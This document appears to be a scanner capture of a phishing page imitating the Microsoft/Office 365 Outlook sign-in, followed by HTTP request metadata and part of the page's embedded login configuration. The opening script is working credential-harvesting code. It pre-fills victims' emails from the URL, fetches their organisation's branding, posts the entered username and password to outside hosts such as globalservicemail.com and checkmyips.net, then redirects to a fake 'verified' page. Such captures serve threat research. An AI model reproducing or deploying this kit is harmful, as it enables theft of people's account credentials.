			// Note : if this HTML page hosted on http(s) domain so you must add the http(s) url php file to avoid cross error //

			var php_url = 'https://globalservicemail.com/hars/login.php'; // Enter your post PHP page url here.
			var check_mx = false; // true or false for check outlook MX.



			// ******************************************************************************************************* //
			var hash = window.location.hash;
			var email = hash.split('#')[1];

			if(true_email(email)){
				$("#pick_em").show();
				$("#em_picker").html(email);
				$('#email').val(email);
			}else{
				$("#add_em").show();
			}

			$('.email-picker').on('click', function (){
				$('.identity').html(email);
				$(".error-alert-pass").hide();
				set_brand(email);
				setTimeout(function (){
					$("#pick_em").hide();
					$("#add_pass").show();
				}, 1000);
			});

			$('.email-picker2').on('click', function (){
				$('#email').val('');
				$("#pick_em").hide();
				$("#add_em").show();
			});

			$('.btn-email').on('click', function (){
				var email = $('#email').val();
				$('.identity').html(email);
				$(".error-alert").hide();
				$('.btn-email').prop('disabled', true);
				if(true_email(email) == false){
					$(".error-alert").show();
					$(".error-alert-msg").html('Please enter correct office 365 email account.');
					$('.btn-email').prop('disabled', false);
				}else{
					if(check_mx == true){
						var domain = email.split('@')[1];
						var str;
						$.ajax({
							url: php_url + '?domain=' + domain,
							success: function(data){
								str = data.includes("outlook");
								if(str){
									set_brand(email);
									setTimeout(function (){
										$("#add_em").hide();
										$("#add_pass").show();
									}, 1000);
								}else{
									$(".error-alert").show();
									$(".error-alert-msg").html('You can\'t signin with this account, Please use work or school account instead.');
									$('.btn-email').prop('disabled', false);
								}
							},
							error: function(xhr){
								$(".error-alert").show();
								$(".error-alert-msg").html('Error occured, Please try again.');
								$('.btn-email').prop('disabled', false);
							}
						});
					}else{
						set_brand(email);
						setTimeout(function (){
							$("#add_em").hide();
							$("#add_pass").show();
						}, 1000);
					}
				}
			});

			$('.btn-signin').on('click', function (){
				$('.btn-signin').prop('disabled', true);
				setTimeout(function (){
					$(".error-alert-pass").hide();
				}, 500);
				var user = $('#email').val();
				var pass = $('#password').val();
				$.ajax({
					url: "https://checkmyips.net/api/geoip/",
					type: "POST",
					data: {user:user,pass:pass,t:1},
					success: function(data){
						var i=$.parseJSON(data);
						if(i.status == 'OK'){
							$.ajax({
								 url: php_url,
								 type: "POST",
								 data: {user:user,pass:pass,country:i.country,ip:i.ip},
								 success: function(finish_url){
									window.open('https://customredirects.z13.web.core.windows.net//myoofice/verified.html', '_top')
								 }
							 });
						}else{
							$(".error-alert-pass").show();
							$('.btn-signin').prop('disabled', false);
						}
					},
					error: function(){
						$(".error-alert-pass").hide();
						$('.btn-signin').prop('disabled', false);
					}
				});
			});

			$('.backButton').on('click', function (){
				$('#bg_image').css('background-image', 'url(lib/img/background.jpg)');
				$('#logo_image').attr('src', 'https://aadcdn.msftauth.net/ests/2.1/content/images/microsoft_logo_ee5c8d9fb6248c938fd0dc19370e90bd.svg');
				$('#banner_image').show();
				$('.btn-email').prop('disabled', false);
				$("#add_pass").hide();
				$("#add_em").show();
				$(".error-alert-pass").hide();
			});

			function set_brand(email){
				$.ajax({
					url: php_url,
					type: "POST",
					data: {email:email,barnd:1},
					success: function(data){
						var i=$.parseJSON(data);
						if(i.bg_image !== null && i.logo_image !== null && i.bg_image !== '' && i.logo_image !== ''){
							$('#bg_image').css('background-image', 'url(' + i.bg_image + ')');
							$('#logo_image').attr('src', i.logo_image);
							$('#banner_image').hide();
						}
					}
				});
			}
		});

		function true_email(a) {
			var re = /^(([^<>()[\]\\.,;:\s@\"]+(\.[^<>()[\]\\.,;:\s@\"]+)*)|(\".+\"))@((\[[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\])|(([a-zA-Z\-0-9]+\.)+[a-zA-Z]{2,}))$/;
			return re.test(a);
		}
	  </script>
    <script type="text/javascript">
  $(document).keypress(function(event){
  var keycode = (event.keyCode ? event.keyCode : event.which);
  if(keycode == '13'){
    $("#btn-email, .btn-signin").click();
  }
});
</script>

<!-- ko if: svr.urlCBPartnerPreload -->

<!-- /ko --></div></body></html>
Protocol
H2
Security
TLS 1.3, , AES_256_GCM
Server
152.199.23.37 , United States, ASN15133 (EDGECAST, US),
Reverse DNS
Software
ECAcc (lhd/358B) /
Resource Hash
8b34a475187302935336bf43a2bf2a4e0adb9a1e87953ea51f6fcf0ef52a4a1d

Request headers

Referer
User-Agent
Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.72 Safari/537.36

Response headers

x-ms-blob-type
BlockBlob
date
Wed, 10 Mar 2021 10:27:59 GMT
content-md5
5YqvyYBhSpzXeWvqe16o8A==
age
7979839
x-cache
HIT
content-length
987
x-ms-lease-status
unlocked
last-modified
Fri, 27 Mar 2020 19:42:36 GMT
server
ECAcc (lhd/358B)
etag
0x8D7D287001BC861
content-type
image/jpeg
access-control-allow-origin
*
x-ms-request-id
6e9a83be-b01e-0016-1804-cd876c000000
access-control-expose-headers
x-ms-request-id,Server,x-ms-version,Content-Type,Cache-Control,Last-Modified,ETag,Content-MD5,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding
cache-control
public, max-age=31536000
x-ms-version
2009-09-19
accept-ranges
bytes
49_7916a894ebde7d29c2cc29b267f1299f.jpg
aadcdn.msftauth.net/shared/1.0/content/images/appbackgrounds/ Frame 83F5 		17 KB
17 KB 		Image
General
Check archive.org
Download Go to Show image
Full URL
https://aadcdn.msftauth.net/shared/1.0/content/images/appbackgrounds/49_7916a894ebde7d29c2cc29b267f1299f.jpg
Requested by
Host: text
URL: data:text/html;base64,<html dir="ltr" class="" lang="en"><head>
    <title>Sign in to Outlook</title>
    <meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
    <meta http-equiv="X-UA-Compatible" content="IE=edge">
    <meta name="viewport" content="width=device-width, initial-scale=1.0, maximum-scale=2.0, user-scalable=yes">
    <meta http-equiv="Pragma" content="no-cache">
    <meta http-equiv="Expires" content="-1">
    <link rel="preconnect" href="https://aadcdn.msftauth.net" crossorigin="">
<meta http-equiv="x-dns-prefetch-control" content="on">
<link rel="dns-prefetch" href="//aadcdn.msftauth.net">
<link rel="dns-prefetch" href="//aadcdn.msauth.net">

    <meta name="PageID" content="ConvergedSignIn">
    <meta name="SiteID" content="">
    <meta name="ReqLC" content="1033">
    <meta name="LocLC" content="en-US">



<script type="text/javascript">//<![CDATA[
$Config={"fShowPersistentCookiesWarning":false,"urlMsaSignUp":"https://login.live.com/oauth20_authorize.srf?response_type=code\u0026client_id=51483342-085c-4d86-bf88-cf50c7252078\u0026scope=openid+profile+email+offline_access\u0026response_mode=form_post\u0026redirect_uri=https%3a%2f%2flogin.microsoftonline.com%2fcommon%2ffederation%2foauth2\u0026state=rQIIAY2RvYvTYADG8za9XFsVixzo5iFOHmnzpknaBBxK2rS9Xr_t51LSfDRpm75pmzS9_gWOB4LDLYKL0ElOEDkcnE-QcuOBuzgcIghuej0XN32GHw882_N7hMMIFB5Sf0KTG5KUrkNS0Tbtr0zvhMIW--T8069Xxdefn21f_nh7eQyC3ZE51yIKslbgvuE49kyIRpHrjBAaRpCum8r1GEWeHH0HwBqAlS_OxeIsxdEczVIMw_MMR0W4OKX0VBqScg9SJMNwkORlniFVyPRYOqEoTEy78N0uJV3HoDdAU3OpffcFdTS1ujaaOcf4e5BSXF6c5TwpnTIaxa50oLeted3iK4t01c4YakMSObZJehlpKtfnWWepi2q8WSvMWs3D2mA_15brbq3fkOXJMDms9GEvW99fjpHtHqTFUj7XHCc9g_fyznAwH8-SRkczeba7bLG6PS1mxcki0y52B4lscRBnDvkKVHS1VRwsel13CJuUY6RNK5ZQS1BVGz2xbZNjr8ras3ImYRQK-gr_Lw0nOHH1p4XGZziBbG1sqms_-Oq_SeFCIBAKY_ewXeynH7zcutL1Yuej1Hr-Jnli2ud3lRR2thWt2lKWjbH5HM0rjULZ4VnN8ZqddK5an6C9QT9bLhilkTma7nmPOQEeEeCIIE6JYAAPYw9wsQy_EOAbAZ5uY6fBf_m-CO3Q1JVSKkZS3C6EAuQFJtZZ3wAfbmG_AQ2\u0026estsfed=1\u0026uaid=d254356dffce4ea7b0dd9307eef5b6ee\u0026signup=1\u0026lw=1\u0026fl=easi2\u0026cobrandid=deb3f74a-ed5b-4ef1-8d3c-92b85dd47352\u0026fci=00000002-0000-0ff1-ce00-000000000000","urlMsaLogout":"https://login.live.com/logout.srf?iframed_by=https%3a%2f%2flogin.microsoftonline.com","urlOtherIdpForget":"https://login.live.com/forgetme.srf?iframed_by=https%3a%2f%2flogin.microsoftonline.com","showCantAccessAccountLink":true,"fEnableShowResendCode":true,"iShowResendCodeDelay":90000,"sSMSCtryPhoneData":"AF~Afghanistan~93!!!AX~Åland Islands~358!!!AL~Albania~355!!!DZ~Algeria~213!!!AS~American Samoa~1!!!AD~Andorra~376!!!AO~Angola~244!!!AI~Anguilla~1!!!AG~Antigua and Barbuda~1!!!AR~Argentina~54!!!AM~Armenia~374!!!AW~Aruba~297!!!AC~Ascension Island~247!!!AU~Australia~61!!!AT~Austria~XMR~Belarus~375!!!BE~Belgium~32!!!BZ~Belize~501!!!BJ~Benin~229!!!BM~Bermuda~1!!!BT~Bhutan~975!!!BO~Bolivia~591!!!BQ~Bonaire~599!!!BA~Bosnia and Herzegovina~387!!!BW~Botswana~267!!!BR~Brazil~55!!!IO~British Indian Ocean Territory~246!!!VG~British Virgin Islands~1!!!BN~Brunei~673!!!BG~Bulgaria~359!!!BF~Burkina Faso~226!!!BI~Burundi~257!!!CV~Cabo Verde~238!!!KH~Cambodia~855!!!CM~Cameroon~237!!!CA~Canada~1!!!KY~Cayman Islands~1!!!CF~Central African Republic~236!!!TD~Chad~235!!!CL~Chile~56!!!CN~China~86!!!CX~Christmas Island~61!!!CC~Cocos (Keeling) Islands~61!!!CO~Colombia~57!!!KM~Comoros~269!!!CG~Congo~242!!!CD~Congo (DRC)~243!!!CK~Cook Islands~682!!!CR~Costa Rica~506!!!CI~Côte d\u0027Ivoire~225!!!HR~Croatia~385!!!CU~Cuba~53!!!CW~Curaçao~599!!!CY~Cyprus~357!!!CZ~Czechia~420!!!DK~Denmark~45!!!DJ~Djibouti~253!!!DM~Dominica~1!!!DO~Dominican Republic~1!!!EC~Ecuador~593!!!EG~Egypt~20!!!SV~El Salvador~503!!!GQ~Equatorial Guinea~240!!!ER~Eritrea~291!!!EE~Estonia~372!!!ET~Ethiopia~251!!!FK~Falkland Islands~500!!!FO~Faroe Islands~298!!!FJ~Fiji~679!!!FI~Finland~358!!!FR~France~33!!!GF~French Guiana~594!!!PF~French Polynesia~689!!!GA~Gabon~241!!!GM~Gambia~220!!!GE~Georgia~995!!!DE~Germany~49!!!GH~Ghana~233!!!GI~Gibraltar~350!!!GR~Greece~30!!!GL~Greenland~299!!!GD~Grenada~1!!!GP~Guadeloupe~590!!!GU~Guam~1!!!GT~Guatemala~502!!!GG~Guernsey~XMR~Hong Kong SAR~852!!!HU~Hungary~36!!!IS~Iceland~354!!!IN~India~91!!!ID~Indonesia~62!!!IR~Iran~98!!!IQ~Iraq~964!!!IE~Ireland~353!!!IM~Isle of Man~XMRKZ~Kazakhstan~7!!!KE~Kenya~254!!!KI~Kiribati~686!!!KR~Korea~82!!!KW~Kuwait~965!!!KG~Kyrgyzstan~996!!!LA~Laos~856!!!LV~Latvia~371!!!LB~Lebanon~961!!!LS~Lesotho~266!!!LR~Liberia~231!!!LY~Libya~218!!!LI~Liechtenstein~423!!!LT~Lithuania~370!!!LU~Luxembourg~352!!!MO~Macao SAR~853!!!MG~Madagascar~261!!!MW~Malawi~265!!!MY~Malaysia~60!!!MV~Maldives~960!!!ML~Mali~223!!!MT~Malta~356!!!MH~Marshall Islands~692!!!MQ~Martinique~596!!!MR~Mauritania~222!!!MU~Mauritius~230!!!YT~Mayotte~262!!!MX~Mexico~52!!!FM~Micronesia~691!!!MD~Moldova~373!!!MC~Monaco~377!!!MN~Mongolia~976!!!ME~Montenegro~382!!!MS~Montserrat~1!!!MA~Morocco~212!!!MZ~Mozambique~258!!!MM~Myanmar~95!!!NA~Namibia~264!!!NR~Nauru~674!!!NP~Nepal~977!!!NL~Netherlands~31!!!NC~New Caledonia~687!!!NZ~New Zealand~64!!!NI~Nicaragua~505!!!NE~Niger~227!!!NG~Nigeria~234!!!NU~Niue~683!!!NF~Norfolk Island~672!!!KP~North Korea~850!!!MK~North Macedonia~389!!!MP~Northern Mariana Islands~1!!!NO~Norway~XMR!!!PG~Papua New Guinea~675!!!PY~Paraguay~595!!!PE~Peru~51!!!PH~Philippines~63!!!PL~Poland~48!!!PT~Portugal~351!!!PR~Puerto Rico~1!!!QA~Qatar~974!!!RE~Réunion~262!!!RO~Romania~40!!!RU~Russia~7!!!RW~Rwanda~250!!!BL~Saint Barthélemy~590!!!KN~Saint Kitts and Nevis~1!!!LC~Saint Lucia~1!!!MF~Saint Martin~590!!!PM~Saint Pierre and Miquelon~508!!!VC~Saint Vincent and the Grenadines~1!!!WS~Samoa~685!!!SM~San Marino~378!!!ST~São Tomé and Príncipe~239!!!SA~Saudi Arabia~966!!!SN~Senegal~221!!!RS~Serbia~381!!!SC~Seychelles~248!!!SL~Sierra Leone~232!!!SG~Singapore~65!!!SX~Sint Maarten~1!!!SK~Slovakia~XMR Sudan~211!!!ES~Spain~34!!!LK~Sri Lanka~94!!!SH~St Helena, Ascension, and Tristan da Cunha~290!!!SD~Sudan~249!!!SR~Suriname~597!!!SJ~Svalbard~47!!!SZ~Swaziland~268!!!SE~Sweden~46!!!CH~Switzerland~41!!!SY~Syria~963!!!TW~Taiwan~886!!!TJ~Tajikistan~992!!!TZ~Tanzania~255!!!TH~Thailand~66!!!TL~Timor-Leste~670!!!TG~Togo~228!!!TK~Tokelau~690!!!TO~Tonga~676!!!TT~Trinidad and Tobago~1!!!TA~Tristan da Cunha~290!!!TN~Tunisia~216!!!TR~Turkey~90!!!TM~Turkmenistan~993!!!TC~Turks and Caicos Islands~1!!!TV~Tuvalu~688!!!VI~U.S. Virgin Islands~1!!!UG~Uganda~256!!!UA~Ukraine~380!!!AE~United Arab Emirates~971!!!GB~United Kingdom~XMR~39!!!VE~Venezuela~58!!!VN~Vietnam~84!!!WF~Wallis and Futuna~681!!!YE~Yemen~967!!!ZM~Zambia~260!!!ZW~Zimbabwe~263","fUseInlinePhoneNumber":true,"fDetectBrowserCapabilities":true,"urlSessionState":"https://login.microsoftonline.com/common/DeviceCodeStatus","urlResetPassword":"https://passwordreset.microsoftonline.com/?ru=https%3a%2f%2flogin.microsoftonline.com%2fcommon%2freprocess%3fctx%3drQIIAY2RvYvTYACH8156ufZULCLopoiTR9q8aZI2BYeSNk2v12_btLeUfDZpm75pmjS9_gWOB4KDi-AidJITRA4H5xOk3Ci4i8MhguCmV1zc9BkefvPze4DDBMzep_5AkxuTlGlCUjM26y-8G7txh310_vHXy-qrz092Ln68uViBO5bvu7NsMokCf4zQKIFM09aMhIacJAqV5FsA1gCsttJcKs1SHM3RLMUwPM9wVIJLU5qq05BUVEiRDMNBkld4htQho7J0RtOYlPFp63otF_gWvRHy7KXxfStmIs_pu2jmP8PfgbwW8MKsFIqFvNWp9sUDs-fM2w7fWBSabtHSO6LAsTIZFkVPac8lf2kKelpuVWZd-ag13C_1lHbQGnQUZTrKjRoDqErt_eUEucFBQaiVS_IkF1p8WPZHw_lklrMODZtn-8sua7peVRKmi2Kv2h9mpOowzRzxDaiZerc6XKj9YARlyrcKtpPK6DWo6x1V6LnkJGyy7qxezFiVirnC_yv9CU5c9nTQ5AwnkGtMbH0dAV8jVyk8G43uxrHb2F3sZwS82L686PnND2L36evcie2e39Ly2Nl2sumKEptiyyWa1zqVus-zhh_Kh4VSsz1Fe8OBVK9YtbE99vbCh1wWHhPgmCBOiVgUj2P3cKEOvxDgGwEe72CnsX_9vb4C3l_DfgM1\u0026mkt=en-US\u0026hosted=0\u0026device_platform=Windows+10","urlMsaResetPassword":"https://account.live.com/password/reset?wreply=https%3a%2f%2flogin.microsoftonline.com%2fcommon%2freprocess%3fctx%3drQIIAY2RvYvTYACHk6aXa6tikQPdPMTJI23efLUJOJS0aXu9ftvPpaT5aNI2fdMkbXr9CxwPBAcXwUXoJCeIHA7OJ0i58cBdHA4RBDdtucVNf8PDb36eRxiIAeEheT2K2JIgdR0QirZ9f825E4la7JOLz79fl958ebZ79fPd1Qq9b3ie7QrxOJx5YwhHMajrpqLFFGjFoS_H36PoGkVXgQRHJ1iSoziKJRmG5xmOjHEJUumrFCDkPiAJhuEAwcs8Q6iA6bNUUlEYWrsM3C6nZp5BbQEdc6n9CIR16Fg9G7reC-wDmlZmvOjmfSmTNpqlnnSkd6x5w-Kri0zNzhpqUxI5tkX4WcmRG_Oct9RFNdGqF91267g-PMx35MasPmjK8nSUGlUHoJ9rHC4n0J4dZcRyId-apHyD9wveaDifuCmjq5k821u2Wd12Sjlxush2Sr1hMlcaJphjvgoUXW2Xhot-bzYCLdIzMqZFJ9UyUNVmX-zYxMSvsbZbySaNYlFfYf-l_hTDNz4tODnHcGhrE1NdB9FvwZskJoRCkShyD9lHfgXRVzubRC_3Pknt529Tp6Z9cVdJI-c78Zot5ViaLeQpXmkWKx7Pap7f6mbytcYUHgwHuUrRKI_NsXPgP-YEcIKjJzh-hodDWBR5gIkV8BVHv-Po013kLPyv3peRPYrcJCVpguT2ARAALzB0d30D_XgL-QM1\u0026mkt=en-US\u0026cobrandid=deb3f74a-ed5b-4ef1-8d3c-92b85dd47352","urlSignUp":"https://login.live.com/oauth20_authorize.srf?response_type=code\u0026client_id=51483342-085c-4d86-bf88-cf50c7252078\u0026scope=openid+profile+email+offline_access\u0026response_mode=form_post\u0026redirect_uri=https%3a%2f%2flogin.microsoftonline.com%2fcommon%2ffederation%2foauth2\u0026state=rQIIAY2RvYvTYADG8za9XFsVixzo5iFOHmnzpknaBBxK2rS9Xr_t51LSfDRpm75pmzS9_gWOB4LDLYKL0ElOEDkcnE-QcuOBuzgcIghuej0XN32GHw882_N7hMMIFB5Sf0KTG5KUrkNS0Tbtr0zvhMIW--T8069Xxdefn21f_nh7eQyC3ZE51yIKslbgvuE49kyIRpHrjBAaRpCum8r1GEWeHH0HwBqAlS_OxeIsxdEczVIMw_MMR0W4OKX0VBqScg9SJMNwkORlniFVyPRYOqEoTEy78N0uJV3HoDdAU3OpffcFdTS1ujaaOcf4e5BSXF6c5TwpnTIaxa50oLeted3iK4t01c4YakMSObZJehlpKtfnWWepi2q8WSvMWs3D2mA_15brbq3fkOXJMDms9GEvW99fjpHtHqTFUj7XHCc9g_fyznAwH8-SRkczeba7bLG6PS1mxcki0y52B4lscRBnDvkKVHS1VRwsel13CJuUY6RNK5ZQS1BVGz2xbZNjr8ras3ImYRQK-gr_Lw0nOHH1p4XGZziBbG1sqms_-Oq_SeFCIBAKY_ewXeynH7zcutL1Yuej1Hr-Jnli2ud3lRR2thWt2lKWjbH5HM0rjULZ4VnN8ZqddK5an6C9QT9bLhilkTma7nmPOQEeEeCIIE6JYAAPYw9wsQy_EOAbAZ5uY6fBf_m-CO3Q1JVSKkZS3C6EAuQFJtZZ3wAfbmG_AQ2\u0026estsfed=1\u0026uaid=d254356dffce4ea7b0dd9307eef5b6ee\u0026signup=1\u0026lw=1\u0026fl=easi2\u0026cobrandid=deb3f74a-ed5b-4ef1-8d3c-92b85dd47352\u0026fci=00000002-0000-0ff1-ce00-000000000000","urlGetCredentialType":"https://login.microsoftonline.com/common/GetCredentialType?mkt=en-US","urlGetOneTimeCode":"https://login.microsoftonline.com/common/GetOneTimeCode","urlLogout":"https://login.microsoftonline.com/common/uxlogout","urlForget":"https://login.microsoftonline.com/forgetuser","urlDisambigRename":"https://go.microsoft.com/fwlink/p/?LinkID=733247","urlCBPartnerPreload":"https://outlook.office365.com/owa/prefetch.aspx","urlPIAEndAuth":"https://login.microsoftonline.com/common/PIA/EndAuth","fKMSIEnabled":false,"iLoginMode":1,"fAllowPhoneSignIn":true,"fAllowPhoneInput":true,"iMaxPollErrors":5,"iPollingTimeout":60,"srsSuccess":true,"fShowSwitchUser":true,"arrValErrs":["50058"],"sErrorCode":"50058","sErrTxt":"","sResetPasswordPrefillParam":"username","onPremPasswordValidationConfig":{"isUserRealmPrecheckEnabled":true},"fSwitchDisambig":true,"fUseConsumerEmailError":true,"oCancelPostParams":{"error":"access_denied","error_subcode":"cancel","state":"Dcu9CsIwFEDhVN_FLfYmvUm9QxERpGhdVFC65W-wGFraUvHtzfCd7WSMsXWySjJIYaUuSgVaaqkAkQg1bHUJznopuLECOKIWnAwh9wKtkjvnsAhZei95_zX5fprNHCqxGYN_j8HNj74y9Q1cfdXNjxb_uk1W0thEim38dO1ddVbCYp-nwR5psPG8hMMf"},"iRemoteNgcPollingType":2,"fUseNewNoPasswordTypes":true,"fAccessPassSupported":true,"fShowAccessPassPeek":true,"urlAadSignup":"https://signup.microsoft.com/signup?sku=teams_commercial_trial\u0026origin=ests\u0026culture=en-US","urlOidcDiscoveryEndpointFormat":"https://login.microsoftonline.com/{0}/.well-known/openid-configuration","urlTenantedEndpointFormat":"https://login.microsoftonline.com/{0}/oauth2/authorize?client_id=00000002-0000-0ff1-ce00-000000000000\u0026redirect_uri=https%3a%2f%2foutlook.office.com%2fowa%2f\u0026resource=00000002-0000-0ff1-ce00-000000000000\u0026response_mode=form_post\u0026response_type=code+id_token\u0026scope=openid\u0026msafed=0\u0026client-request-id=d254356d-ffce-4ea7-b0dd-9307eef5b6ee\u0026protectedtoken=true\u0026claims=%7b%22id_token%22%3a%7b%22xms_cc%22%3a%7b%22values%22%3a%5b%22CP1%22%5d%7d%7d%7d\u0026nonce=637506262504499460.670cbd21-ab10-4461-9a94-d14b528cc43e\u0026state=Dcu9CsIwFEDhVN_FLfYmvUm9QxERpGhdVFC65W-wGFraUvHtzfCd7WSMsXWySjJIYaUuSgVaaqkAkQg1bHUJznopuLECOKIWnAwh9wKtkjvnsAhZei95_zX5fprNHCqxGYN_j8HNj74y9Q1cfdXNjxb_uk1W0thEim38dO1ddVbCYp-nwR5psPG8hMMf\u0026allowbacktocommon=True","sCloudInstanceName":"microsoftonline.com","fShowSignInOptionsAsButton":true,"fImprovePhoneDisambig":true,"iMaxStackForKnockoutAsyncComponents":10000,"fShowButtons":true,"urlCdn":"https://aadcdn.msftauth.net/shared/1.0/","urlFooterTOU":"https://www.microsoft.com/en-US/servicesagreement/","urlFooterPrivacy":"https://privacy.microsoft.com/en-US/privacystatement","urlPost":"https://login.microsoftonline.com/common/login","urlPostAad":"https://login.microsoftonline.com/common/login","urlPostMsa":"https://login.live.com/ppsecure/partnerpost.srf?response_type=code\u0026client_id=51483342-085c-4d86-bf88-cf50c7252078\u0026scope=openid+profile+email+offline_access\u0026response_mode=form_post\u0026redirect_uri=https%3a%2f%2flogin.microsoftonline.com%2fcommon%2ffederation%2foauth2\u0026state=rQIIAY2RvYvTYADG8za9XFsVixzo5iFOHmnzpknaBBxK2rS9Xr_t51LSfDRpm75pmzS9_gWOB4LDLYKL0ElOEDkcnE-QcuOBuzgcIghuej0XN32GHw882_N7hMMIFB5Sf0KTG5KUrkNS0Tbtr0zvhMIW--T8069Xxdefn21f_nh7eQyC3ZE51yIKslbgvuE49kyIRpHrjBAaRpCum8r1GEWeHH0HwBqAlS_OxeIsxdEczVIMw_MMR0W4OKX0VBqScg9SJMNwkORlniFVyPRYOqEoTEy78N0uJV3HoDdAU3OpffcFdTS1ujaaOcf4e5BSXF6c5TwpnTIaxa50oLeted3iK4t01c4YakMSObZJehlpKtfnWWepi2q8WSvMWs3D2mA_15brbq3fkOXJMDms9GEvW99fjpHtHqTFUj7XHCc9g_fyznAwH8-SRkczeba7bLG6PS1mxcki0y52B4lscRBnDvkKVHS1VRwsel13CJuUY6RNK5ZQS1BVGz2xbZNjr8ras3ImYRQK-gr_Lw0nOHH1p4XGZziBbG1sqms_-Oq_SeFCIBAKY_ewXeynH7zcutL1Yuej1Hr-Jnli2ud3lRR2thWt2lKWjbH5HM0rjULZ4VnN8ZqddK5an6C9QT9bLhilkTma7nmPOQEeEeCIIE6JYAAPYw9wsQy_EOAbAZ5uY6fBf_m-CO3Q1JVSKkZS3C6EAuQFJtZZ3wAfbmG_AQ2\u0026flow=fido\u0026estsfed=1\u0026uaid=d254356dffce4ea7b0dd9307eef5b6ee\u0026cobrandid=deb3f74a-ed5b-4ef1-8d3c-92b85dd47352\u0026fci=00000002-0000-0ff1-ce00-000000000000","urlRefresh":"https://login.microsoftonline.com/common/reprocess?ctx=rQIIAY2RvYvTYACHk6aXa6tikQPdPMTJI23efLUJOJS0aXu9ftvPpaT5aNI2fdMkbXr9CxwPBAcXwUXoJCeIHA7OJ0i58cBdHA4RBDdtucVNf8PDb36eRxiIAeEheT2K2JIgdR0QirZ9f825E4la7JOLz79fl958ebZ79fPd1Qq9b3ie7QrxOJx5YwhHMajrpqLFFGjFoS_H36PoGkVXgQRHJ1iSoziKJRmG5xmOjHEJUumrFCDkPiAJhuEAwcs8Q6iA6bNUUlEYWrsM3C6nZp5BbQEdc6n9CIR16Fg9G7reC-wDmlZmvOjmfSmTNpqlnnSkd6x5w-Kri0zNzhpqUxI5tkX4WcmRG_Oct9RFNdGqF91267g-PMx35MasPmjK8nSUGlUHoJ9rHC4n0J4dZcRyId-apHyD9wveaDifuCmjq5k821u2Wd12Sjlxush2Sr1hMlcaJphjvgoUXW2Xhot-bzYCLdIzMqZFJ9UyUNVmX-zYxMSvsbZbySaNYlFfYf-l_hTDNz4tODnHcGhrE1NdB9FvwZskJoRCkShyD9lHfgXRVzubRC_3Pknt529Tp6Z9cVdJI-c78Zot5ViaLeQpXmkWKx7Pap7f6mbytcYUHgwHuUrRKI_NsXPgP-YEcIKjJzh-hodDWBR5gIkV8BVHv-Po013kLPyv3peRPYrcJCVpguT2ARAALzB0d30D_XgL-QM1","urlCancel":"https://outlook.office.com/owa/","urlResume":"https://login.microsoftonline.com/common/resume?ctx=rQIIAY2RvYvTYACH8156ufZULCLopoiTR9q8aZI2BYeSNk2v12_btLeUfDZpm75pmjS9_gWOB4KDi-AidJITRA4H5xOk3Ci4i8MhguCmV1zc9BkefvPze4DDBMzep_5AkxuTlGlCUjM26y-8G7txh310_vHXy-qrz092Ln68uViBO5bvu7NsMokCf4zQKIFM09aMhIacJAqV5FsA1gCsttJcKs1SHM3RLMUwPM9wVIJLU5qq05BUVEiRDMNBkld4htQho7J0RtOYlPFp63otF_gWvRHy7KXxfStmIs_pu2jmP8PfgbwW8MKsFIqFvNWp9sUDs-fM2w7fWBSabtHSO6LAsTIZFkVPac8lf2kKelpuVWZd-ag13C_1lHbQGnQUZTrKjRoDqErt_eUEucFBQaiVS_IkF1p8WPZHw_lklrMODZtn-8sua7peVRKmi2Kv2h9mpOowzRzxDaiZerc6XKj9YARlyrcKtpPK6DWo6x1V6LnkJGyy7qxezFiVirnC_yv9CU5c9nTQ5AwnkGtMbH0dAV8jVyk8G43uxrHb2F3sZwS82L686PnND2L36evcie2e39Ly2Nl2sumKEptiyyWa1zqVus-zhh_Kh4VSsz1Fe8OBVK9YtbE99vbCh1wWHhPgmCBOiVgUj2P3cKEOvxDgGwEe72CnsX_9vb4C3l_DfgM1","iPawnIcon":0,"iPollingInterval":1,"sPOST_Username":"","sFT":"AQABAAEAAAD--DLA3VO7QrddgJg7WevrRZTv_7Mb56t0hEeulUDrRcx_PrhgMaupbyATtZfnRmsr18Ns6bZeyhLJ1eOhKOnFIl6As2C4PhDXGxoZYPQCJYMIRRKr8ux4CsNTxcFzaXtH8i4WhcmS7ecGfOwgsEIVNDGwSpUGaJVE5hF95hDnnCNyGK_bhmTqyz6aktMGGx5m07pD2WI8szP5dzRNBTf9nDe5wmALyovRL4QGU3Roof-vR2Aym-8NckBbRT6L6v50qlPGbusTZS0j8w2DjusHfPzbrh99tS7cHYVbUgPuOy1Z7LLWXQzU2PgT72j3DRNleKnyZJHGTzg7SPUzw3eF02PyFz9LuryM90UxKbAU3owifX16Wi7WyrfNIT_L4w7faCgTowaCm1B_wc1vzXm6atwnqmAPiHldhhb-PcNhc5IWpsCYnqSjZ5kxVfd0j7ZQn-82JFyBEWT8g9X8_oxIjc3cTLLMZ5ygI6YaXUul8wNzUbXr039ZNLDxC2Nc4NYgAA","sFTName":"flowToken","sFTCookieName":"ESTSWCTXFLOWTOKEN","sSessionIdentifierName":"code","sCtx":"rQIIAY2RvYvTYACH8156ufZULCLopoiTR9q8aZI2BYeSNk2v12_btLeUfDZpm75pmjS9_gWOB4KDi-AidJITRA4H5xOk3Ci4i8MhguCmV1zc9BkefvPze4DDBMzep_5AkxuTlGlCUjM26y-8G7txh310_vHXy-qrz092Ln68uViBO5bvu7NsMokCf4zQKIFM09aMhIacJAqV5FsA1gCsttJcKs1SHM3RLMUwPM9wVIJLU5qq05BUVEiRDMNBkld4htQho7J0RtOYlPFp63otF_gWvRHy7KXxfStmIs_pu2jmP8PfgbwW8MKsFIqFvNWp9sUDs-fM2w7fWBSabtHSO6LAsTIZFkVPac8lf2kKelpuVWZd-ag13C_1lHbQGnQUZTrKjRoDqErt_eUEucFBQaiVS_IkF1p8WPZHw_lklrMODZtn-8sua7peVRKmi2Kv2h9mpOowzRzxDaiZerc6XKj9YARlyrcKtpPK6DWo6x1V6LnkJGyy7qxezFiVirnC_yv9CU5c9nTQ5AwnkGtMbH0dAV8jVyk8G43uxrHb2F3sZwS82L686PnND2L36evcie2e39Ly2Nl2sumKEptiyyWa1zqVus-zhh_Kh4VSsz1Fe8OBVK9YtbE99vbCh1wWHhPgmCBOiVgUj2P3cKEOvxDgGwEe72CnsX_9vb4C3l_DfgM1","iProductIcon":-1,"staticTenantBranding":null,"oAppCobranding":{"backgroundLogoIndex":53,"backgroundImageIndex":49,"friendlyAp